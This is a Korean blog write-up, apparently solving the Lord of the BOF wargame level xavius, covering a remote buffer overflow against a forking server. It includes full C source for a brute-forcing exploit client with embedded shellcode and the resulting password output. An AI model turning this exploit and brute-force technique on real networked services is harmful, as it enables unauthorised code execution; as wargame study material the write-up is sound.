Post

LOB xavius → death\_knight - remote BOF, rawbf

xavius - throw me away

remote BOF다. 소켓프로그래밍은 오랜만인데, 그래도 코드가 복잡하지는 않다. 서버 프로그램은 서버에서 돌아가는 거니까, 호스트에서 환경변수 등을 사용할 수는 없지만, 256바이트나 사용할 수 있으니까 그냥 버퍼에 집어넣는게 좋겠다.

parent는 while로 계속 돌아가고, child가 recv수행하고 나서 return하므로 child를 사용해 익스플로잇 하게 된다. 근데 recv 직후 close(client_fd) 해서 클라이언트와의 연결이 끊어진다. 따라서 client에 데이터를 전송할 수 없다. 리버스 쉘을 사용하거나, 출력 내용을 저장하도록 해야한다. 리버스 쉘 연결을 대기하도록 쉘코드를 짜기는 귀찮아서 그냥 후자로 진행했다.

주의 ) 쉘코드가 실행되면서 my-pass가 실행되면, 문자열이 출력되는데 이 때 client 쉘의 표준 출력으로 출력되는게 아니라, 서버 프로그램이 돌아가는 쉘의 표준 출력으로 출력된다. 따라서 my-pass 출력 데이터를 얻기 위해서는 다른 방법이 필요하다. 서버의 파일시스템에 접근이 가능하니까, 다음과 같은 방법을 사용했다. system("/bin/my-pass > /tmp/xav");

쉘코드를 서버 프로그램에 넘기는 방법은 다양하다.

  1. 직접 클라이언트 프로그램 코딩
  2. server에 연결한 다음 쉘코드를 보내는 쉘스크립트
  3. 파이프 3번이 제일 간단하니까 3번을 사용하려고 했는데 netcat이 없다. 다른 os에서 netcat을 사용해도 되겠지만 귀찮아서 telnet을 사용하기로 했다. perl -e ‘print “…”’ | telnet …

dumpcode로 확인해보니 data | telnet 으로 넘기면 데이터가 안넘어간다. (echo “a”; sleep 1; ) | telnet 과 같이 sleep 1;을 넣어줘야 넘어간다. 왜인지는 모르겠다.

또한 telnet을 사용해보니 다음과 같은 문제가 발생한다.

2017/06/27 - [Network] - Telnet : raw socket과의 차이
버퍼를 사용하려면 버퍼의 주소인 0xbfff…를 입력해야 하는데, ff가 ff ff가 돼서 버퍼 주소를 입력할 수 없다.

그래서 그냥 raw socket 클라이언트 프로그램을 만들었다. 서버 프로그램의 스택을 가늠할 수 없기 때문에 정확한 버퍼위치를 알 수는 없다. 따라서 만들면서 brute forcing 기능도 넣었다. 사실 server에 데이터를 넘기는 부분은 다른 OS에서 netcat이나 socat으로 처리해도 되기는 하지만 fork - exec 넣자니 맘에 안들어서 그냥 소켓 프로그래밍으로 처리했다.

rawbf.c :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define JUNK 44
#define NOPSIZE 32
int main(int argc, char \*argv[]){
char buf[256]={0};
unsigned char addr[5];
char \*code="\x31\xc0\x50"
"\x68\x78\x61\x76\x69"
"\x68\x74\x6d\x70\x2f"
"\x68\x20\x3e\x20\x2f"
"\x68\x70\x61\x73\x73"
"\x68\x2f\x6d\x79\x2d"
"\x68\x2f\x62\x69\x6e"
"\x54\x54"
"\xb8\xe0\x8a\x05\x40"   //func addr
"\xff\xe0";              //jmp
unsigned short port;
int sock;
int recvlen=0;
struct sockaddr\_in sin;
if(argc != 3){
puts("Usage : rawbf ip port");
exit(1);
}
port = (unsigned short)atoi(argv[2]);
memset((char \*)&sin, 0, sizeof(sin));
sin.sin\_family = AF\_INET;
sin.sin\_port = htons(port);
sin.sin\_addr.s\_addr = inet\_addr(argv[1]);

  
memset(buf, 'b', JUNK);
addr[0] = '\xff';
addr[1] = '\xff';
addr[2] = '\xff';
addr[3] = '\xbf';
addr[4] = 0;
strncat(buf, addr, 4);
memset(buf+JUNK+4, '\x90', NOPSIZE);
strncat(buf, code, strlen(code));
while((addr[1] != '\x00')){
if((sock = socket(AF\_INET, SOCK\_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
if(connect(sock, (struct sockaddr \*)&sin, sizeof(sin))){
perror("connect");
exit(1);
}
if( send(sock, buf, strlen(buf)+1, 0) == -1 ){
perror("send");
exit(1);
}
if( addr[0] < NOPSIZE ){
addr[1]--;
addr[0]='\xff';
}
else
addr[0]-= NOPSIZE;
strncpy(buf+JUNK, addr, 4);
close(sock);
}

  
return 0;
}

이상한점이, 0x90을 32개 출력하면 되는데 64개 이상 출력하면 안된다. 아마 쉘코드를 실행하면서 esp가 push하는 지점까지 내려가서 쉘코드가 훼손되어 실행이 안되는 것 같다. NOP를 쓸 수록 쉘코드가 아래쪽에 위치하게 되니까.

1
2
3
[xavius@localhost xavius]$ cat /tmp/xavi
euid = 520
got the life
This post is licensed under CC BY 4.0 by the author.